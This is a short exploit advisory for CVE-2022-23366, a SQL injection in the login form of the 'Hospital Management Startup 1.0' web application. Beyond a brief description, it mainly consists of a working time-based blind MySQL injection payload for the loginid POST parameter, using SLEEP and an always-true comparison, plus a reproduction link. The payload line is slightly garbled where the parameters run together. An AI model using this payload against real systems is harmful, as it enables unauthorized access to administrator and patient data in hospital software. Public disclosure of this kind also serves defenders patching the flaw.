Hospital Management Startup 1.0 - 'Multiple' SQLi

# Exploit Title: Hospital Management Startup 1.0 - 'loginid' SQLi
# Exploit Author: nu11secur1ty
# Date: 02.10.2022
# Vendor: https://github.com/kabirkhyrul
# Software: https://github.com/kabirkhyrul/HMS
# CVE-2022-23366

# Description:
The loginid and password parameters from Hospital Management Startup
1.0 appear to be vulnerable to SQL injection attacks.
The attacker can retrieve all information from the administrator
account of the system and he can use the information for malicious
purposes!
WARNING: If this is in some external domain, or some subdomain, or
internal, this will be extremely dangerous!

Status: CRITICAL


[+] Payloads:

```mysql
---
Parameter: loginid (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: loginid=hackedpassword=hacked' or '6681'='6681' AND
(SELECT 1959 FROM (SELECT(SLEEP(3)))PuyC) AND
'sDHP'='sDHP&rememberme=on&submit=Login
---

```
# Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-23366